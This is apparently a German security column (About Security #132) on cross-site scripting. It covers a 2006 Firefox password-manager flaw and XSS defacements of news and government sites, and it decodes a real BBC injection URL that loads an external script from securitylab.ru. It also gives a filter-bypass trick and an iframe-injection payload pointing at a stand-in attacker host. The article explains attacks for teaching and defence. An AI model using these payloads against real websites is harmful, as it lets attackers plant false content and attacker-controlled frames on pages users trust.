News Drucken: About Security #132: XSS-Angriffe (2)

Wie angekündigt geht es in dieser Folge weiter um einige typische Angriffe über XSS. Als Beispiel für das in About Security #131 vorgestellte Austricksen von Passwortmanagern kann eine entsprechende Schwachstelle im Password-Safe von Firefox dienen, die im November 2006 bekannt wurde und als Bug 360493 in Mozillas Bugzilla geführt wird. Gelang es einem Angreifer, ein Formular mit versteckten Feldern für die Zugangsdaten auf eine Seite einzuschleusen, füllte Firefox die Formularfelder mit den zum Server der Seite gehörenden Zugangsdaten aus, ohne auf das Ziel des Formulars zu achten. Das interessante an dieser Schwachstelle ist, dass sie ohne den Einsatz von JavaScript ausgenutzt werden konnte - reines HTML reicht. Eine Beschreibung der inzwischen offiziell behobenen Schwachstelle samt Demonstration der Ausnutzung gibt es beim Entdecker Chapin Information Services (CIS): "CIS Finds Flaws in Firefox v2 Password Manager".

N E U ! Security aktuell
Täglich aktuelle Security-Infos!

Einschleusen falscher Informationen

Kommen wir nun zum altbekannten Einschleusen falscher Informationen. In Deutschland ist besonders eine Cross-Site-Scripting-Schwachstelle auf der offiziellen Seite der Bundesregierung bekannt geworden. Dort war im September 2006 zu lesen, dass Angela Merkel zurückgetreten sei. Die Schwachstelle wurde inzwischen behoben, so dass hier nicht weiter darauf eingegangen werden soll. Interessanter ist eine Schwachstelle auf der Seite der BBC, die Ende August 2006, gemeinsam mit einer entsprechenden Schwachstelle bei CBS News, zur Demonstration der Wirkung von Cross-Site-Scripting-Schwachstellen ausgenutzt wurde. Angeblich ernannte demnach US-Präsident George Bush einen 9-jährigen zum Chef des Information Security Departments. Ursprung der beiden Demonstrationen ist das russische Portal SecurityLab. Praktischerweise wurde die Schwachstelle bei der BBC bisher nicht behoben, so dass sie hier als Anschauungsmaterial dienen kann. Wer möchte, kann also hier nachlesen, dass der US-Präsident wirklich einen 9-jährigen zum Chef des Information Security Departments ernannt hat.

Werfen wir einen Blick auf den zugehörigen Link:

http://www.bbc.co.uk/bbcone/listings/index.shtml?service_id=4223
&DAY=today%22%3E%3Cscript%20src=http://www.securitylab.ru/test/
sc.js%3E%3C/script%3E%3C!--

Der Angriff erfolgt über den Wert für den Parameter DAY:

today%22%3E%3Cscript%20src=http://www.securitylab.ru/test/sc.js%3E%3C/script%3E%3C!--

Ersetzt man die hexadezimal kodierten Zeichen durch ihre normalen Darstellungen (%22 steht für ", %3C steht für <, %3E für >, %20 für das Leerzeichen), ergibt das

today"><script src=http://www.securitylab.ru/test/sc.js></script><!--

Mit 'today">' wird ein vorher geöffnetes HTML-Tag geschlossen, dann wird über das script-Tag ein JavaScript-Skript nachgeladen und anschließend mit '<!--' darauf folgender Code auskommentiert.

Das nachgeladene Skript http://www.securitylab.ru/test/sc.js hat verkürzt folgenden Inhalt:

document.write('<p align=left>Mon, 28 August 2006');
document.write('<p align=center><b>George Bush appoints ... </b>');
document.write('<p>On Friday night, George Bush made ... ');
document.write('<p>Michael Antipov was noticed by ... ');
document.write('<p>Michael Antipov, sun of the ... ');
document.write('<p>"From now on the citizens of ... ');

Das ist eigentlich ganz simpel. Da fragt man sich, warum dieser Code nicht direkt eingeschleust sondern stattdessen der Umweg über das Nachladen gegangen wurde. Gegen ein direktes Einschleusen über die URL sprechen 2 Gründe: Erstens wird die URL dadurch sehr lang, je nach Länge des einzuschleusenden Texts auch schnell zu lang für einen GET-Request. So kann z.B. der Internet Explorer nur 2048 Byte lange GET-Requests verarbeiten, und auch Webserver, Proxys usw. haben eigene Beschränkungen. Der zweite Grund ist die unterschiedliche Behandlung verschiedener URL-Bestandteile durch die Browser und Webanwendungen. So werden z.B. von PHP bei aktivierter Option magic_quotes_gpc ' und " durch vorangestellte \ maskiert, was eine Ausführung des eingeschleusten JavaScript-Codes verhindert. Das lässt sich zwar umgehen, indem der einzuschleusende Code Zeichen für Zeichen in die entsprechenden Unicode-Zeichencodes umgewandelt und dann das Ergebnis als

eval(String.fromCharCode(kodierter Code))

eingeschleust wird. Das macht den Schadcode aber noch länger, verschärft also das 1. Problem.

Eine weitere Methode, falsche Informationen in eine Webseite einzuschleusen, ist die Nutzung des iframe-Tags. Als Beispiel soll eine für XSS anfällige Webseite dienen:

http://www.server.example/anwendung?parameter=[XSS]

Als Wert für den Parameter parameter kann z.B. folgendes eingefügt werden:

%3Cscript%3Edocument.write%28%22%3Ciframe+src%3D%27http%3A%2F
%2Fwww.angreifer.example%27+frameborder%3D%270%27+width%3D%27
800%27+height%3D%27640%27+scrolling%3D%27auto%27%3E%3C%2Fifra
me%3E%22%29%3C%2Fscript%3E

Auf den ersten Blick sieht das durch die Hexadezimal kodierte Zeichen wieder ziemlich chaotisch aus. Dekodiert ergibt es

<script>document.write("
<iframe src='http://www.angreifer.example' frameborder='0'
 width='800' height='640' scrolling='auto'></iframe>
")</script>

Es wird also ein iframe mit Inhalten vom Server des Angreifers in die Seite eingefügt. Was ein Angreifer so ausrichten kann und woran ihn die Schutzfunktionen der Browser hindern, wird in der nächsten Folge behandelt.

Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers